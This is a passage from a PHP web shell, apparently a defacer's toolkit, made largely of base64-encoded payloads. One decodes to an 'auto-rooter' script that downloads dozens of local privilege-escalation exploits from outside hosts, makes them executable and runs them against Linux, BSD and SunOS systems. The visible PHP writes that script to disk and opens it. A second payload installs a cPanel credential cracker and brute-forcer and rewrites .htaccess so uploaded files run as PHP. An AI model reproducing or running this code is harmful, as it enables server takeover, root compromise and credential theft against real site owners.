G9jYWxyb290LzIuNi45LTU1LTIwMDctcHJ2OCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NS0yMDA3LXBydjgiKTsKc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2OCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNTUtMjAwOC1wcnY4Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDgtcHJ2OCIpOwpzeXN0ZW0oIi4vMi42LjktNTUtMjAwOC1wcnY4Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS02NzIwMDgiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNjcyMDA4Iik7CnN5c3RlbSgiLi8yLjYuOS02NzIwMDgiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LjIiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkuMiIpOwpzeXN0ZW0oIi4vMi42LjkuMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjkxLTIwMDciKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkxLTIwMDciKTsKc3lzdGVtKCIuLzIuNi45MS0yMDA3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIwMDciKTsKc3lzdGVtKCIuLzIwMDciKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMDktbG9jYWwiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOS1sb2NhbCIpOwpzeXN0ZW0oIi4vMjAwOS1sb2NhbCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMjAwOS13dW5kZXJiYXIiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOS13dW5kZXJiYXIiKTsKc3lzdGVtKCIuLzIwMDktd3VuZGVyYmFyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyMSIpOwpzeXN0ZW0oIi4vMjEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMyIpOwpzeXN0ZW0oIi4vMyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMy40LjYtOS0yMDA3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDMuNC42LTktMjAwNyIpOwpzeXN0ZW0oIi4vMy40LjYtOS0yMDA3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAzMSIpOwpzeXN0ZW0oIi4vMzEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzM2LXJjMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAzNi1yYzEiKTsKc3lzdGVtKCIuLzM2LXJjMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0Iik7CnN5c3RlbSgiLi80Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0NCIpOwpzeXN0ZW0oIi4vNDQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzQ3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDQ3Iik7CnN5c3RlbSgiLi80NyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNSIpOwpzeXN0ZW0oImNobW9kIDc3NyA1Iik7CnN5c3RlbSgiLi81Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81MCIpOwpzeXN0ZW0oImNobW9kIDc3NyA1MCIpOwpzeXN0ZW0oIi4vNTAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzU0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDU0Iik7CnN5c3RlbSgiLi81NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNiIpOwpzeXN0ZW0oImNobW9kIDc3NyA2Iik7CnN5c3RlbSgiLi82Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC82NyIpOwpzeXN0ZW0oImNobW9kIDc3NyA2NyIpOwpzeXN0ZW0oIi4vNjciKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzciKTsKc3lzdGVtKCJjaG1vZCA3NzcgNyIpOwpzeXN0ZW0oIi4vNyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNy0yIik7CnN5c3RlbSgiY2htb2QgNzc3IDctMiIpOwpzeXN0ZW0oIi4vNy0yIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83eCIpOwpzeXN0ZW0oImNobW9kIDc3NyA3eCIpOwpzeXN0ZW0oIi4vN3giKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzgiKTsKc3lzdGVtKCJjaG1vZCA3NzcgOCIpOwpzeXN0ZW0oIi4vOCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvOSIpOwpzeXN0ZW0oImNobW9kIDc3NyA5Iik7CnN5c3RlbSgiLi85Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85MCIpOwpzeXN0ZW0oImNobW9kIDc3NyA5MCIpOwpzeXN0ZW0oIi4vOTAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290Lzk0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDk0Iik7CnN5c3RlbSgiLi85NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvTGludXhfMi42LjEyIik7CnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNi4xMiIpOwpzeXN0ZW0oIi4vTGludXhfMi42LjEyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYuOS1qb29seXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgTGludXhfMi42Ljktam9vbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvYWNpZCIpOwpzeXN0ZW0oImNobW9kIDc3NyBhY2lkIik7CnN5c3RlbSgiLi9hY2lkIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9kM3ZpbCIpOwpzeXN0ZW0oImNobW9kIDc3NyBkM3ZpbCIpOwpzeXN0ZW0oIi4vZDN2aWwiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOwpzeXN0ZW0oIi4vZXhwMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwMiIpOwpzeXN0ZW0oImNobW9kIDc3NyBleHAyIik7CnN5c3RlbSgiLi9leHAyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9leHAzIik7CnN5c3RlbSgiY2htb2QgNzc3IGV4cDMiKTsKc3lzdGVtKCIuL2V4cDMiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cGxvaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOwpzeXN0ZW0oIi4vZXhwbG9pdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZnVsbC1uZWxzb24iKTsKc3lzdGVtKCJjaG1vZCA3NzcgZnVsbC1uZWxzb24iKTsKc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9nYXlyb3MiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZ2F5cm9zIik7CnN5c3RlbSgiLi9nYXlyb3MiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xlbmlzLnNoIik7CnN5c3RlbSgiY2htb2QgNzc3IGxlbmlzLnNoIik7CnN5c3RlbSgiLi9sZW5pcy5zaCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7CnN5c3RlbSgiY2htb2QgNzc3IGxvY2FsLTIuNi45LTIwMDUtMjAwNiIpOwpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7CnN5c3RlbSgiY2htb2QgNzc3IGxvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsKc3lzdGVtKCIuL2xvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3ByaXY0Iik7CnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7CnN5c3RlbSgiLi9wcml2NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHdua2VybmVsIik7CnN5c3RlbSgiY2htb2QgNzc3IHB3bmtlcm5lbCIpOwpzeXN0ZW0oIi4vcHdua2VybmVsIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7CnN5c3RlbSgiY2htb2QgNzc3IHJvb3QucHkiKTsKc3lzdGVtKCIuL3Jvb3QucHkiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3J1bngiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOwpzeXN0ZW0oIi4vcnVueCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvdGl2b2xpIik7CnN5c3RlbSgiY2htb2QgNzc3IHRpdm9saSIpOwpzeXN0ZW0oIi4vdGl2b2xpIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsKc3lzdGVtKCJjaG1vZCA3NzcgdWJ1bnR1Iik7CnN5c3RlbSgiLi91YnVudHUiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYS5wb21mLnNlL3R4ZmZndi56aXAiKTsKc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7CnN5c3RlbSgiY2htb2QgK3ggdHJvbGxlZCIpOwpzeXN0ZW0oIi4vdHJvbGxlZCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJjaG1vZCAreCAzX1giKTsKc3lzdGVtKCIuLzNfWCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKCgpwcmludCAiRW5kIExpbnV4Li4gWytdXG4iOwp9CmlmICgkQVJHVlswXSA9fiAiYnNkIiApCnsKcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7CnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsKcHJpbnQgIiMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjXG4iOwpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7CnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsKcHJpbnQgIiMgICAgICAgUm9vdGluZyBCU0QgICAgICAgICAgICAjXG4iOwpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBic2Q7Y2QgYnNkIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7CnN5c3RlbSgidW56aXAgandnb2JuLnppcCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0OGxvY2FsIik7CnN5c3RlbSgiLi80OGxvY2FsIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7CnN5c3RlbSgiLi9ic2Rsb2NhbCIpOwpzeXN0ZW0oImlkIik7CgpzeXN0ZW0oImNobW9kIDc3NyBCU0QzLjZfbG9jYWxyb290Iik7CnN5c3RlbSgiLi9CU0QzLjZfbG9jYWxyb290Iik7CnN5c3RlbSgiaWQiKTsKCgoKCnByaW50ICJFbmQgQnNkLi4gWytdXG4iOwp9CmlmICgkQVJHVlswXSA9fiAic3Vub3MiICkKewpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKcHJpbnQgIiMgTGludXgvQnNkL1N1bm9zIEFVVE8tUk9PVEVSICAjXG4iOwpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7CnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsKcHJpbnQgIiMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjXG4iOwpwcmludCAiIyAgICAgICBSb290aW5nIFN1bm9zICAgICAgICAgICNcbiI7CnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwpzeXN0ZW0oInVuYW1lIC1hO21rZGlyIHN1bm9zO2NkIHN1bm9zIik7CnN5c3RlbSgid2dldCBodHRwOi8vYS5wb21mLnNlL2trcGd2cy56aXAiKTsKc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7CnN5c3RlbSgiY2htb2QgNzc3IHhfb3NoLnBsICIpOwpzeXN0ZW0oInBlcmwgeF9vc2gucGwgIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljkvc3Vub3M1OSIpOwpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7CnN5c3RlbSgiLi9zdW5vczU5Iik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1LjgvZmluYWwiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZmluYWwiKTsKc3lzdGVtKCIuL2ZpbmFsIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7CnN5c3RlbSgiY2htb2QgK3ggc29sYXJpczI3Iik7CnN5c3RlbSgiLi9zb2xhcmlzMjciKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuMTAvc3Vub3M1MTAiKTsKc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOwpzeXN0ZW0oIi4vc3Vub3M1MTAiKTsKc3lzdGVtKCJpZCIpOwoKCnByaW50ICJFbmQgU3VuT1MgLi5bK11cbiI7Cn0=';
1620 $file = fopen("rooter.php","w");
1621 $write = fwrite ($file ,base64_decode($rooter));
1622 fclose($file);
1623 header("location:rooter.php"); }
1624 if(isset($_POST['cpc'])){
1625 $cpc = 'PD9waHAKQHNlc3Npb25fc3RhcnQoKTsgCkBlcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsgCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCkBzZXRfdGltZV9saW1pdCgwKTsgCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7IAoKPz4KPGh0bWw+Cjx0aXRsZT5YLUNwYW5lbCBDcmFja2VyIGJ5IFdhamRhbiBCdXR0PC90aXRsZT4KPGJvZHk+Cgo8U1RZTEU+dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTA1NzAwO2NvbG9yOmxpbWU7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LXNpemU6IDEwcHg7Zm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMDt9CmlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTA1NzAwO2ZvbnQtc2l6ZTogMTBweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiBsaW1lOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O2hlaWdodDoyMCB9CmJvZHkgeyBmb250LWZhbWlseTogVGFob21hfQoueC1pbmogeyBmb250LWZhbWlseTogVml2YWxkaX0KdHIgeyBCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsgY29sb3I6ICMwMGZmOyB9CnRkIHsgQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7IGNvbG9yOiAjMDBmZjsgfQoudGFibGUxIHsgQk9SREVSOiAwcHggQmxhY2s7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyBjb2xvcjogIzAwZmY7IH0KLnRkMSB7IEJPUkRFUjogMHB4OyBCT1JERVItQ09MT1I6ICMzMzMzMzM7IGZvbnQ6IDhwdCBWZXJkYW5hOyBjb2xvcjogIzAwZmYwMDsgfQoudHIxIHsgQk9SREVSOiAwcHg7IEJPUkRFUi1DT0xPUjogIzMzMzMzMzsgY29sb3I6ICMwMGZmOyB9CnRhYmxlIHsgQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7IEJPUkRFUi1DT0xPUjogIzMzMzMzMzsgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7IGNvbG9yOiAjMDBmZjsgfQppbnB1dCB7IGJvcmRlcjogZGFzaGVkIDFweDsgYm9yZGVyLWNvbG9yOiAjMzMzOyBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsgZm9udDogOHB0IFZlcmRhbmE7IGNvbG9yOiAjMDBmZjsgfQpzZWxlY3QgeyBCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7IEJPUkRFUi1UT1A6ICAgICMwMGZmIDFweCBzb2xpZDsgQk9SREVSLUxFRlQ6ICAgIzAwZmYgMXB4IHNvbGlkOyBCT1JERVItQk9UVE9NOiBCbGFjayAxcHggc29saWQ7IEJPUkRFUi1jb2xvcjogIzAwZmY7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyBmb250OiBwdCBWZXJkYW5hOyBjb2xvcjogIzAwZmY7IH0Kc3VibWl0IHsgQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyB3aWR0aDogMzAlOyBjb2xvcjogIzAwZmY7IH0KdGV4dGFyZWEgeyBib3JkZXI6IGRhc2hlZCAxcHggIzMzMzsgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7IGZvbnQ6IEZpeGVkc3lzIGJvbGQ7IGNvbG9yOiAjOTk5OyB9CkJPRFkgewlTQ1JPTExCQVItRkFDRS1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1ISUdITElHSFQtY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItU0hBRE9XLWNvbG9yOiAjMDBmZjsgU0NST0xMQkFSLTNETElHSFQtY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItVFJBQ0stY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItREFSS1NIQURPVy1jb2xvcjogIzAwZmYgbWFyZ2luOiAxcHg7IGNvbG9yOiAjMDBmZjAwOyBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsgfQoubWFpbiB7IG1hcmdpbjogLTI4N3B4IDBweCAwcHggLTQ5MHB4OyBCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsgQk9SREVSLUNPTE9SOiAjMzMzMzMzOyB9Ci50dCB7IGJhY2tncm91bmQtY29sb3I6IEJsYWNrOyB9CkE6bGluayB7IENPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lIH0KQTp2aXNpdGVkIHsJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUgfQpBOmhvdmVyIHsgY29sb3I6ICMwMGZmMDA7IFRFWFQtREVDT1JBVElPTjogbm9uZSB9CkE6YWN0aXZlIHsgY29sb3I6ICMwMGZmMDA7IFRFWFQtREVDT1JBVElPTjogbm9uZSB9CjwvU1RZTEU+CgoKPD9waHAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCmVjaG8gIjxjZW50ZXI+Cgo8aW1nIHNyYz0naHR0cHM6Ly9lbmNyeXB0ZWQtdGJuMi5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUU5TUVNjdGpsdGFENkVwWkNJTEpxY2xuZVdsTWR1SnJoWVY4RHVkRDFLTjB1aWt3dVonPjxicj4KPGI+PGZvbnQgY29sb3I9JyMwMGZmMDAnIGNsYXNzPSd4LWluaicgc2l6ZT0nNSc+WC1DcGFuZWwgQ3JhY2tlciBCeSBXYWpkYW4gQnV0dCA8L2ZvbnQ+PGJyPjxicj48YnI+PC9iPjxiPgo8Zm9udCBzaXplPSczJz4KfHwgPGEgaHJlZj0nP2RvPXVwbG9hZGVyJz4uL1VwbG9hZGVyPC9hPiB8IDxhIGhyZWY9Jz9kbz1jb25maWcnPi4vQ29uZmlnPC9hPiB8IDxhIGhyZWY9Jz9kbz1iaGNvbmZpZyc+Li9CLUYgQ29uZmlnIENwYW5lbDwvYT4gfCA8YSBocmVmPSc/ZG89YnJ1dGUnPi4vQ3BhbmVsIEJydXRlRm9yY2U8L2E+IHx8PC9iPjxicj48YnI+PGJyPjwvY2VudGVyPjwvZm9udD48YnI+ICI7CgppZihpc3NldCgkX1JFUVVFU1RbJ2RvJ10pKXsgCnN3aXRjaCAoJF9SRVFVRVNUWydkbyddKXsKIyMjIyMjIyMjIyMjIyMjI3BocCBpbmZvCmNhc2UgJ2JoY29uZmlnJzsKZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jMDBmZjAwPistLT09WyBCLUYgQ29uZmlnIF09PS0tKzwvZm9udD48L2I+PGJyPjxicj4iOwogIG1rZGlyKCdiY29uZmlnJywgMDc1NSk7CiAgICBjaGRpcignYmNvbmZpZycpOwogICAgICAgICRha3NlcyA9ICIuaHRhY2Nlc3MiOwogICAgICAgICRidWthX2xhaCA9ICIkYWtzZXMiOwogICAgICAgICRidWthID0gZm9wZW4gKCRidWthX2xhaCAsICd3Jykgb3IgZGllICgiRXJyb3IgY3V5eSEiKTsKICAgICAgICAkbWV0aW4gPSAiT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwIC5jcGMKIjsgICAgCiAgICAgICAgZndyaXRlICggJGJ1a2EgLCAkbWV0aW4gKSA7CiAgICAgICAgZmNsb3NlICgkYnVrYSk7CiRjb25mc2hlbGwgPSAnUEQ5d2FIQWdMeW9nZkh3Z1NXUmxZU0E2T2lCTmNpNUJiSE5oTTJWcklIeDhJRkJ5YjJkeVlXMXRhVzVuSURvNklFY3RRaUI4ZkNCRVpYTnBaMjVsY2lBNk9pQkJiQzFUZDJsemNtVWdmSHdnS2k4a1QwOVBNREF3TURBd1BYVnliR1JsWTI5a1pTZ25KVFkySlRZM0pUTTJKVGN6SlRZeUpUWTFKVFk0SlRjd0pUY3lKVFl4SlRNMEpUWXpKVFptSlRWbUpUYzBKVFpsSlRZMEp5azdKRTlQVHpBd01EQlBNRDBrVDA5UE1EQXdNREF3ZXpSOUxpUlBUMDh3TURBd01EQjdPWDB1SkU5UFR6QXdNREF3TUhzemZTNGtUMDlQTURBd01EQXdlelY5T3lSUFQwOHdNREF3VHpBdVBTUlBUMDh3TURBd01EQjdNbjB1SkU5UFR6QXdNREF3TUhzeE1IMHVKRTlQVHpBd01EQXdNSHN4TTMwdUpFOVB